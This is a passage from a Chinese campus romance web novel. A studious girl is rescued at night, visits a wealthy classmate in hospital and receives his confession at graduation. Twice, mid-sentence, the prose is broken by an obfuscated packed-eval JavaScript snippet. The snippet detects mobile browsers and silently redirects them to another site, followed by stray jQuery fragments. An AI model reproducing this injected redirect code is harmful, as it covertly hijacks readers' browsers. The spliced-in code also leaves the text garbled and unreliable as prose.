班里八卦这位风云人物,本就没避开周宜宁,她自然能注意到。 “哎青妤,你和裴神一个初中上来的,什么样的女孩能让他一眼着迷啊?”有人问起刚进教室的孟青妤。 就像身体的某个开关被触碰,周宜宁握笔的动作停滞,忍不住去仔细听。 “嗯……这个嘛,”吊足胃口,她得意勾唇,“他肯定不会喜欢一个只会学习的书呆子。” “啪”很轻一声,某根弦似乎崩断。 周宜宁听不清后面再说了什么。 内心的那点期待,很快被满满的酸涩取代。 也对,她这样的书呆子,她自己都觉得无趣。 良久,她轻轻呼出一口气,靠咬着舌尖的痛觉,收回思绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13050093|136993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时间就像眨眼,很快到了全市一模。 结果不会辜负每一个努力的人,在她心无旁骛的状态下,总分终于考到660,首次冲进年级十五,班级第十。 而裴京闻,能在经常请假的情况下,总稳住710的总分。 无人能撼动他第一的位置。 虽然是她无法企及的分数,不过和他的差距又缩小了很多。 这就够她开心了。 距离高考已不足四个月,生怕耽误复习进程,南中补课到除夕前一天下午才放假。 周宜宁不敢耽误,刚放学就急匆匆赶往公交站,可惜仍没赶上最后一趟。 眼见天色越来越黑,出租屋又因断水断电没法再住,周宜宁走到一旁的出租车等候位,决定打车回镇子。 上车时,她特意拍下车牌号,打开录音,尽量忽视刺耳的车载音响,全程保持高度警惕。 好在没遇上堵车,顺利出市区后,夜空忽然飘起细碎的雪花。 但没往前开几分钟,车子忽然不动了。 “操,”司机咒骂一声,“真他妈倒霉,竟然在这爆胎。” 周宜宁心中警铃大作,攥紧书包带子。 “真晦气,”司机毫不客气啐了一口,“下去,老子没法拉你了。” 周宜宁心头一颤,强自镇定,“可是——” “别废话,”司机粗.暴打断,满脸不耐烦:“你不下去,别怪老子对你不客气!” 不给她争辩的机会,司机直接用蛮力,一把拽住她的胳膊把她扔下车。 随后脚踩油门,扬长而去。 前后半分钟不到,周宜宁被扔在公路旁,除了偶尔奔腾而过的汽车,只剩伸手不见五指的黑。 尽管再冷静,她仍害怕到眼眶泛酸,只能伸出被冻得哆嗦的手指,趁最后一格电,拨通紧急联系人的电话。 “微微,我、我在临溪高速口,能不能求你、来接我?” 还好说完最后一句,手机才传来“嘀”的关机提示。 周宜宁知道没有时间难过,她整理好情绪,在裹挟无助的黑暗中,试图去拦路过的车子。 只要能给她借手机,让她求助警察也好。 可惜,来往的车辆速度太快,并未因她的无助而停留。 难道……她真的要在这里过夜吗? 好不容易聚集的坚强,渐渐地,被现实的绝望而粉碎。 她蹲下身,双臂环住膝盖,试图留住身体最后的温暖。 不知过去多久—— 一道刺目的灯光冲破黑暗,停在她面前。 “这才刚分开,你就把自己照顾成这样?” 少年的低哑的嗓音,除了淡淡的冷戾,还有掩饰不住的紧张和急切。 周宜宁明明感觉大脑已经迟钝,可入耳的刹那,心脏仿佛也被他狠狠捏住。 只能凭本能抬头,视线沉溺进那双熟悉入骨的黑眸。 好半晌,她才反应过来眼前人是谁。 伴随她呢喃的一句“裴京闻”,还有破眶而出的眼泪。 “嗯,”他应声,握着伞骨朝她倾斜,“怎么?看见我很意外?” 不知是不是蹲太久腿泛软,她站起身的时候,身体不受控往前倾倒。 正埋进男生滚烫的怀中。 许是他的怀抱太温暖,周宜宁满腹的委屈,在这一刻全都化为低声的啜泣。 “都给你抱了,还哭?” 他只觉心头莫名收紧,索性胳膊一横,在周宜宁来不及的惊呼中,将人连带书包抱起。 没想到,这姑娘比他想象的还要轻些。 从小没跟异性这么近距离接触,周宜宁窘迫得双颊通红,连话都不会说了:“去、去哪?” 裴京闻脚步一顿。 “看你,”他懒懒勾唇,带了些漫不经心的痞:“怎么,想回我家?” 14.毕业 那天过去很久,周宜宁才知道,因她慌乱拨错的电话,原本已经在机场的裴京闻,不顾家里人的惊愕,转身狂奔上车,以最快速度到她的位置。 躺在床上,腰际似乎还留有少年指尖的余温。 避免外婆担心,她隐瞒了被半路扔下的过程,只说运气好被同学顺路捎回来。 外婆挂念她有没有好好感谢人家,她应声的同时,心里已想好要送什么东西给他。 舅妈阴阳怪气:“能遇见开豪车的男同学,不知道的还以为你做什么交易了。” 这样的冷嘲热讽,周宜宁很平静当没听见。 寒假很宝贵,只有一周时间,除了陪外婆聊家常,她只把自己关在房间里。 大年初一早晨,她四点多起床,独自去了郊外的南山寺。 晨光熹微,雾色稍霁,她和许多求愿的香客,满目虔诚,爬上总共九百九十个台阶。 到达寺庙,她用长辈给的压岁钱,经过住持卜卦测算,最终如愿求得一枚平安符。 她挺直腰背,用毛笔写下「裴京闻,岁岁如愿,平安顺遂」的字样,小心翼翼放进包里。 离开时,冷空气扑面而来,她看向被霞光笼罩的寺庙,她不禁搓了搓冻得通红的双手,拿出手机删删减减很久,才编辑好一行祝福。 几乎是在她摁下发送的下一秒,裴京闻的电话直接打来。 山上的信号有些差,周宜宁只得把听筒靠近耳廓,隐约听见很多陌生的腔调在大声交谈。 但一道打趣的男音格外清晰,怕她听不见似的:“裴少真不够意思,给老婆打电话还要背着我们。” 心跳忽然加速,她忘记去听裴京闻怎么回应。 而后,那道熟悉的嗓音勾着点笑,又低又磁:“我还以为你又要躲我呢?” 她移开视线,阳光拨开天边的云雾,刹那间驱散阴霾。 短暂沉默几秒,他难得收起那副散漫,一字一句从未有过的认真,“周宜宁,新年快乐。” 耳畔似有一根羽毛,很轻地落进她的心湖。 脑海里不由浮现那天孟青妤说,裴京闻不会喜欢她这样无趣的书呆子。 可能他的声线蛊惑感太强,这一刻,她忽然想纵容心底的那点幻想扩大。 或许,他也会对她有一点点的特殊呢? 她弯唇,轻声应道:“你也是,新年快乐。” 短暂的沉默,他明明在笑,隔着听筒却带了些不容回绝的恳求:“以后别躲我,好吗?” “……没有。” 他那样永远张扬恣意的人,不该去恳求谁。 意识到这点,嘴边的否认却怎么也说不出口。 或许是昨晚,或许是一个月前的晚会,又或许是初雪那天,更或许是初见的午后。 太多的心动,都和他有关。 周宜宁忽然很想很想放下所有的顾虑,勇敢一次,把十七岁所有的心事都告诉他。 但屏幕里倒数的日历,却提醒她现在不可以。 良久,她握紧手机,点头轻声应道:“好。” — 2011年的春天很短,收假不久,百日誓师和二模考试也匆匆流去。 整座高三楼的氛围陷入前所未有的压抑。 学习任务越来越重,课堂节奏越来越快,就连十分钟的课间,每个班的学生都埋头苦学,不敢浪费一分一毫的时间。 在这样枯燥乏味的日子里,周宜宁为数不多的放松,就是偶尔请教裴京闻时,会被他故意用暧昧的话撩拨几句。 很轻挑,偏偏她抗拒不了。 她只能按耐住内心的悸动,每天拼尽全力吸取知识,导致长时间起得早睡得迟。 临近全市三模,练考前一节生物课,不知是她太困,还是崔国明的声音催眠力太强,刚好在被提问的时候,大脑宕机。 “都什么时候还能睡得着?”崔国明用力拍了把黑板,“给我站后面清醒去!” 说实话,越靠近高考,每节课睡倒的学生就越多,崔国明属实小题大做。 只是他平时心眼太小,骂人太难听,就算有想替周宜宁解释的也不敢。 周宜宁抿了抿唇,知道辩解再多也没用,只能强忍难堪准备拿起书去后面。 下一秒—— “砰”,椅子被拉开。 不止她,就连崔国明也被后面的动静怔愣住吓了一跳。 少年似乎刚睡醒,脸色算不得好看。 没理会崔国明的怒吼,裴京闻单手插兜走到周宜宁旁边,倚着墙壁曲起右腿,姿态散漫不羁。 “你怎么……” 好不容易回过神,周宜宁张了张口,犹豫着怎么问他。 他以绝对身高优势,在别人看不见的角度,滚烫的呼吸落在少女微红的耳畔。 “陪你啊。” 简单的三个字,瞬间让她耳根发软,视线遗落在他身上。 还是崔国明怒目圆瞪的斥责才让她清醒几分:“裴京闻,你干什么!” “老师,我也困,”他扯扯唇,半笑不笑,“应您要求,我也来清醒一下。” 他的表情张狂不羁,明晃晃写满挑衅,可说出的话没什么问题,崔国明找不到训斥他的借口,只能一脸憋屈忍住怒火。 而后面的课,崔国明完全被他提出的刁钻问题问得支支吾吾,下不了台。 铃声响起,他难得没拖堂,脸色难看到涨红,冷哼一声离开教室。 “我靠,裴裴你护妻的样子真是帅我一脸!”江从南按耐不住八卦的心思,跳过来搂住他的肩膀,却被他嫌弃拍开。 敏锐捕捉到“妻”这个字,周宜宁好不容易平静的脸色再次泛红。 不知怎么反驳,索性拿起课本快步走回座位。 见状,裴京闻心情极好。 有进步。 终于没躲他了。 “不会说话就滚远点。” “会会会,”江从南摆摆手,贱兮兮问:“少爷您还从没在课堂顶撞过谁,今天这样,是不是跟人谈了?” “我去,什么时候啊?”有热闹凑,程泽扬瞬间来劲:“难怪这学期都不跟我们翘晚三了,不够意思啊你,有对象不要兄弟了。” 裴京闻挑眉,不置可否。 笑闹了几句,江从南提起今晚校外有个聚餐,问他要不要去玩。 哪知这位爷看都没看他,轻飘飘摇头拒绝。 见他考虑都不带,江从南满脸震惊,“不是,你真为爱从良了?” 周妹妹现在在少爷这,比老赵的话都管用么? “班长不就要遵守纪律么,”他轻嗤一声,理所当然笑出声,“爷本就是三好学生。” “哟,”江从南服了:“之前打架逃课翻墙,怎么没见你想起自己是班长?” 裴京闻懒得理他的阴阳怪气,单手插着裤兜进教室:“所以我才要洁身自好。” 江从南:“……” 倒是程泽扬看出端倪,啧了声,“看来我们裴少这次真栽进去了啊。” 江从南翻了翻白眼:“栽得好!最好是宁妹狠狠吊着他,给他身心受虐,治治这有异性没人性的狗东西!” — 而被他寄予“希望”的周宜宁,稍稍冷静了生物课带来的郁闷,她开始复盘现在的复习状态。 每天过分追求时长,导致精神状态跟不上。 于是之后的日子,她及时调整作息,劳逸结合,以保证每天都能抓住课堂。 偶尔压力过大,她会主动邀请严可薇去校外吃顿饭。 五月中旬,第三次全市模拟考试如期而至,但从开考到结束,周宜宁都没看见熟悉的身影。 这学期以来,他来教室上课的次数越来越少,但每次请假,都会故意以“男性好朋友”的身份给她报备。 ……虽然她面红耳热,不想听他说话。 没来由地,周宜宁有些担心,纠结了一上午,还是趁午饭期间给他发了条消息。 对方倒是回复很快:[怎么?想我了?] 周宜宁瞬间乱了呼吸:“……” 知道这人向来不正经,她很快克制住被撩动的心弦。 没等她组织好语言,手机屏幕再次亮起:[你真狠下心不管我啊?] 底下还附了张缠着绷带的照片。 看清是他左腕那一刻,心间所有的羞赧顷刻化为着急:[你现在在哪?] 裴京闻:[定位] 知道他在医院,周宜宁心底的担忧越来越重,只能不断安慰自己,他还能看手机,应该不怎么严重。 然而她还是坐立难安,午饭后,她没再犹豫,找赵临风写了张假条。 出了学校,她把之前求来一直没机会送他的平安符揣进书包,攥紧为数不多的零花钱,买了对护腕。 到医院时,她咨询过护士,才知道裴京闻住的病房,需要走VIP专属通道。 普通病患没有VIP卡是去不了的。 在周宜宁有限的认知里,这种限制前所未有。 耳畔忽然响起严可薇说的京北裴氏,随便一辆车就能顶普通人几辈子都攒不起的财富。 她垂下眼眸,忽然觉得她和他的距离,实在相隔太远。 还是护士的催促,她才醒过神,只能鼓起勇气给护士说明情况。 对方似是没完全相信,再三打量她之后,又拨通电话确认。 结果挂了电话,瞬间像变了个人。 “您好,这边请。” 她热切的态度让周宜宁有些懵,不过没时间多想,还是快步跟上。 一路畅通无阻到了病房,周宜宁的大脑忐忑演绎了多种情况,甚至脑补出他躺在床上一动不动的场景,不想亲眼见到时—— 少年只穿了件短袖,额发长过眉梢,懒懒倚着床背,连点滴都没打,手指非常灵活操纵着手机屏幕。 跟没事人一样。 周宜宁站在原地,眼眶的酸涩有些收不回去。 “你……”好半晌,她才找回声音:“没受伤?” “怎么?看到我好好的很失望?”他关了手机,眉梢带着点痞:“我痛死了。” 周宜宁:“……” 谁痛还笑得出来? 疑惑归疑惑,她连忙快步走过去,关切问,“哪里疼?要不要帮你喊医生?” 离得近了,裴京闻很容易就能看清少女被打湿的碎发还没干,清泠泠的眸子里,写满对他的关切和着急。 一秒,两秒。 鼻尖似乎还萦绕洗衣粉的清香,裴京闻只觉喉咙有些痒。 “……不用,”他喉结艰难滚了滚,压低的声线有些哑:“你给我揉揉,就不疼了。” 周宜宁:“……” 大概被他撩拨次数太多,她已经能在混乱的心跳中很快找回理智,只是依旧不敢抬头与他对视。 “这么容易害羞,”见她很快和自己拉开距离,裴京闻唇角的弧度忍不住上扬,“上辈子是根含羞草吗?” “……才不是。”这人太混,周宜宁不想看他,“你、你没事的话,我就回学校了。” 少女被马尾掩藏的脖颈都染了层粉,知道再逗弄就真把人惹生气了,裴京闻见好就收。 “有事,”他撩着眼皮,意有所指问:“没给我带礼物?” “……哪有人主动要礼物的啊?” “我生日都得在医院过,”裴京闻一脸理所当然,“难道你不在意我?” 大概是他的神色太勾人,周宜宁不禁心软,将准备好的平安符和护腕递给他。 哪知这人得寸进尺,直接把手搭在她还没收回的手背上。 猝不及防地接触,周宜宁又惊又羞:“你干嘛?” “帮我。”他紧盯着少女通红的脸庞,视线不放:“我动不了。” 周宜宁:“……” 不知做了多大的心理建设,她朝那边挪了挪,拆开护腕,想避开他的手指。 哪知这人故意使坏,指腹不轻不重掠过她的掌心,滚烫的热意在她心口灼烧着。 偏偏他的笑容常自然,周宜宁一时间无法让他别乱动。 这个过程,羞赧交织着紧张,周宜宁大气也不敢出,磨磨蹭蹭好久,又要忍住他的挑逗,总算把护腕戴在指定位置。 “周妹妹,”他刻意逼近,滚烫的呼吸落在她的耳畔,嗓音模糊不清,“怎么脸这么红?” 气氛一度暧昧到极致。 门口的一阵脚步声,倏地让周宜宁迷乱的心绪清醒,慌忙站起身。 为首的女人一袭鸦青色旗袍,乌发盘在脑后,长相明艳端庄,看起来不过三十,浑身散发着一种知性 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13069092|136993||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 优雅的魅力。 周宜宁曾在网上看过裴氏集团总裁的照片,只一眼就能确认她正是余相晚。 站在她后面的白大褂,更是刚才在就诊大厅专家介绍栏首位的医生。 两人只站在那,周宜宁就紧张得透不过气。 她不自觉低垂着眼眸,双手垂在身旁,嗫喏着小声问候:“阿姨好。” 意料之中,余相晚并未有多大反应,礼貌性朝她微笑示意。 周宜宁没再多待,她在心里默念无数遍,才鼓起勇气打过招呼离开。 走出医院好长距离,她重重深呼吸了好几次,才察觉到胸口那种难言的情绪。 病房里的画面再次浮现在眼前,她只觉得,和裴京闻的差距无比具象化。 前所未有的自卑夹杂着无力感,深深涌向心尖。 不知过去多久,沾了雨雾的风扑面而来,周宜宁稍稍找回了几分清醒。 她抿了抿唇,将脑中乱七八糟的思绪摒弃,转身小跑向公交站。 — 时间就像云卷云舒的天边,在距离高考越来越近的日子,周宜宁不敢再有任何的心思,将所有的精力投进更高压的复习中。 后黑板的倒计时,悄悄从两位数变成了一位数。 又一次练考成绩公布,周宜宁的分数终于突破680,已经够踏进她很早之前的目标院校京大。 这天刚好是五月底,沉闷很久的连阴雨,久违绽放开绚烂的阳光。 操场摆放着各式各样的花束,少年少女们可以在班级合照完,选择心仪的衣服拍毕业照。 实验班的合照在最开始,大家按照身高,自觉在架子上站好位置。 就连一向随和的赵临风,都换上西装打好领带。 站稳后,周宜宁才察觉,裴京闻刚好在她身后的台阶。 四目对视,她的样子,在那双深邃的眼底清晰可见。 “一二三——看镜头,笑——” 摄影师摁下快门,他们最意气风发的样子,被定格在这一秒。 拍完合照,周宜宁没来得及反应,被严可薇拉着去卫生间换衣服。 “宁宁你穿这身绝对美炸天!” 对严可薇毫无保留的好意,她轻轻说了句:“谢谢。” 她换好衣服出来,尽管严可薇每天都和她在一起,还是忍不住为她的美貌而惊叹。 少女及胸的黑发自然披落,上身的白色衬衫勾勒姣好的身段,领口的浅蓝色蝴蝶结将本就修长的脖颈衬得更加漂亮。 下身是简单的浅蓝色百褶裙,露出白皙笔直的双腿,脚踩白色板鞋,整个人高挑又清纯。 完全是少女最青涩美好的样子。 “我靠宝贝,你美死我了,”严可薇整个被惊艳住,“可恶的校服封印我宁宝颜值,怎么办,我想跟裴大佬拔刀了!” “……干嘛提他啊,”周宜宁耳根微微泛红,看向一身粉色长裙的好友,真诚夸赞,“你也很漂亮,很惊艳。” “彼此彼此,”严可薇挽着她的手,“美女当然要和美女玩啦。” 出去后,正巧撞上裴京闻他们。 人群中,周宜宁的视线就像有自动定位的功能,为熟悉的身影而停留。 少年个高腿长,换上和她同色系的衬衫西裤,手捧花束,本就绝艳的眉眼,在阳光的笼罩下,更让人移不开眼。 四目相对。 耳畔风声不觉,只剩呼之欲出的心跳。 看这情况,严可薇唇角勾起不可言说的弧度,很有眼色招呼江从南他们,自觉把独处的空间留给两人。 不远处,是大片的蔷薇花束,但和女孩宁静清俪的样子比起来,似乎要逊色太多。 周宜宁扬了扬唇,仰头看他,认真道:“你……今天很好看。” “就这一句?” 少年挑起眉梢,不由分说逼近。 不等她反应,倏地环住她的腰身,将她整个人抱坐在身后的单杠上。 而他整个人,双手环在少女的腰际,只要稍稍低头,唇角就能擦过他的鼻尖。 猝不及防的落空,少女清澈圆润的杏眼瞪大,只能凭本能抓住他胸口的衣服。 “你……” “周宜宁,你答应过不躲我的。” 此话一出,周宜宁果真没了动作。 两人怦怦的心跳声,不知何时同步。 撞进那双梦里出现太多次的含情眼,这一年的经历,就像电影镜头般,在她眼前一帧一帧掠过。 不可否认,他对自己有撩拨,更多的是帮助。 周宜宁定定看向他,一字一句无比真切,“裴京闻,这一年,谢谢你。” 裴京闻将花束放进她怀里,目色专注,“就只有口头感谢?” 周宜宁想了想,应声:“……那你想要什么,只要我能做到。” 静默几秒,直到看得她胸口起伏越来越明显,少年才勾起唇角。 “我想要——”他故意顿了一下,勾起周宜宁的紧张,才笑容招人:“你亲我一下。” 这几个字连一起,周宜宁顷刻脸色涨红,瞪着他不知该怎么回应。 沉默半天,她磕磕绊绊说,“学校现、现在不允许早恋。” 少女白皙的脖颈似乎都羞红了,柔顺的发丝被风撩起,轻轻擦过他的喉结。 裴京闻的眼底黯了黯,强压心底的燥热。 “这么乖啊你,”他压低嗓音,滚烫的呼吸贴近她的耳垂,“都给我来这了,还怕被发现?” 耳畔是彻底凌乱的呼吸,似乎全世界只有眼前的少年。 下一秒,裴京闻跨进,额头抵着她的额头,十指紧贴着她的后背交缠,紧紧盯着她,不容躲避。 “周宜宁,我这么喜欢你,给个机会呗?” 尽管这些日子,裴京闻没少在她耳畔说一些露骨的话,但像这样正式问她的心意,还是第一次。 眼前是少年难得认真的样子,她却想到曾经一次次为她出头的画面。 周宜宁忽然很想很想抛下所有的顾虑,做出十七年来最勇敢的决定。 她轻轻回拥住他,直视进那双炙热的黑眸,“等高考完,好吗?” “行啊,”他低声一笑,模样又痞又坏,“别反悔。” 末了,他补充:“周宜宁,别让我等太久。”